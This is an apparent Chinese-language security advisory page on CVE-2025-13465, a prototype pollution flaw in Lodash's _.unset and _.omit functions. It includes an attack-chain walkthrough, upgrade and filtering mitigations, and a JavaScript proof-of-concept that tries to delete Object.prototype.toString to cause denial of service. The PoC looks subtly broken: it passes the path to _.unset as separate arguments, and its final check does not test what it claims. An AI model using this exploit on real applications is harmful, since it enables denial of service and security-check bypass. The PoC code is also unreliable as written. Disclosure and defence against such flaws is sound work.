IPBUF安全漏洞报告
English
CVE-2025-13465 CVSS 5.3 中危

CVE-2025-13465 Lodash _.unset/_.omit 原型污染漏洞

披露日期: 2026-01-21
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2025-13465
漏洞类型
原型污染
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Lodash

相关标签

原型污染LodashJavaScript安全漏洞CVE-2025-13465_.unset_.omitNode.js前端安全原型链攻击

漏洞概述

CVE-2025-13465是Lodash库中的一个原型污染漏洞,影响版本从4.0.0到4.17.22。Lodash是一个广泛使用的JavaScript实用工具库,提供了大量的函数式编程工具函数。该漏洞存在于_.unset和_.omit函数中,攻击者可以通过构造恶意的路径参数,利用这些函数删除JavaScript全局对象(如Object.prototype)上的关键方法或属性。原型污染攻击是一种针对JavaScript运行时的攻击方式,当应用程序处理不可信的JSON输入并将其合并到对象中时,攻击者可以通过修改原型链来影响所有对象的行为。虽然该漏洞不允许攻击者直接覆盖原型方法的原始行为,但它允许删除关键属性,这可能导致应用程序出现异常行为,如拒绝服务或绕过安全检查。由于Lodash被广泛应用于各种Web应用、Node.js服务器端项目以及前端框架中,此漏洞可能影响大量线上系统。

技术细节

该漏洞的根本原因在于Lodash的_.unset和_.omit函数在处理路径参数时缺乏足够的验证。攻击者可以传递包含__proto__或constructor属性的路径字符串,如['__proto__','toString']或['constructor','prototype','toString'],这些路径会被解析并执行删除操作。具体来说,_.unset函数使用路径分隔符(如点号或方括号)来遍历对象属性,当路径包含原型链相关的特殊属性名时,函数会直接修改全局Object.prototype对象。由于JavaScript的原型继承机制,修改Object.prototype会影响所有对象实例。攻击者可以利用此漏洞删除Object.prototype上的重要方法(如toString、valueOf、hasOwnProperty等),导致依赖这些方法的代码出现运行时错误。例如,当代码尝试调用obj.toString()时会抛出TypeError异常,从而实现拒绝服务攻击。此外,删除某些安全检查方法可能帮助攻击者绕过输入验证逻辑。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用Lodash库且版本在4.0.0到4.17.22之间
STEP 2
步骤2
攻击者构造包含特殊路径的输入,如['__proto__','toString']或['constructor','prototype','toString']
STEP 3
步骤3
将构造的输入作为参数传递给_.unset或_.omit函数
STEP 4
步骤4
Lodash函数解析路径时缺乏安全检查,直接访问并修改Object.prototype
STEP 5
步骤5
Object.prototype上的关键方法(如toString、valueOf)被删除
STEP 6
步骤6
应用程序中所有调用被删除方法的代码会抛出TypeError异常,导致拒绝服务或绕过安全检查

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13465 PoC - Prototype Pollution in Lodash _.unset and _.omit // Affected versions: 4.0.0 to 4.17.22 const _ = require('lodash'); console.log('[*] CVE-2025-13465 Prototype Pollution PoC'); console.log('[*] Target: Lodash <= 4.17.22\n'); // Check if toString exists before attack console.log('[1] Checking Object.prototype.toString before attack...'); console.log(' typeof Object.prototype.toString:', typeof Object.prototype.toString); // Method 1: Using _.unset with '__proto__' path console.log('\n[2] Exploiting _.unset with crafted path...'); const unsetResult = _.unset({}, '__proto__', 'toString'); console.log(' _.unset result:', unsetResult); console.log(' Object.prototype.toString deleted:', Object.prototype.toString === undefined); // Verify the attack effect console.log('\n[3] Verifying attack effect...'); try { const testObj = {name: 'test'}; testObj.toString(); console.log(' [UNEXPECTED] toString still exists'); } catch (e) { console.log(' [SUCCESS] toString was deleted, error:', e.message); } // Method 2: Using _.omit with nested constructor path console.log('\n[4] Exploiting _.omit with constructor path...'); const maliciousPath = 'constructor.prototype.toString'; const target = {key: 'value'}; const result = _.omit(target, [maliciousPath]); console.log(' _.omit result:', result); // Demonstrate denial of service impact console.log('\n[5] Demonstrating DoS impact...'); const data = {items: [1, 2, 3]}; try { console.log(' Before: data.toString():', data.toString()); } catch (e) { console.log(' [VULNERABLE] Cannot call toString():', e.message); } console.log('\n[*] PoC completed. Target is vulnerable if toString was deleted.'); console.log('[*] Recommendation: Upgrade to Lodash >= 4.17.23');

影响范围

Lodash >= 4.0.0
Lodash <= 4.17.22

防御指南

临时缓解措施
立即将Lodash升级到4.17.23或更高版本。如果暂时无法升级,可以采取以下临时缓解措施:1)使用Object.freeze(Object.prototype)冻结原型对象;2)在数据处理前对用户输入进行严格验证,过滤__proto__、constructor和prototype等关键字;3)使用深层对象合并函数的安全实现替代不安全的合并操作;4)部署Web应用防火墙(WAF)规则检测和阻止包含原型污染特征的请求。同时建议在生产环境中实施运行时原型链监控,及时发现异常修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表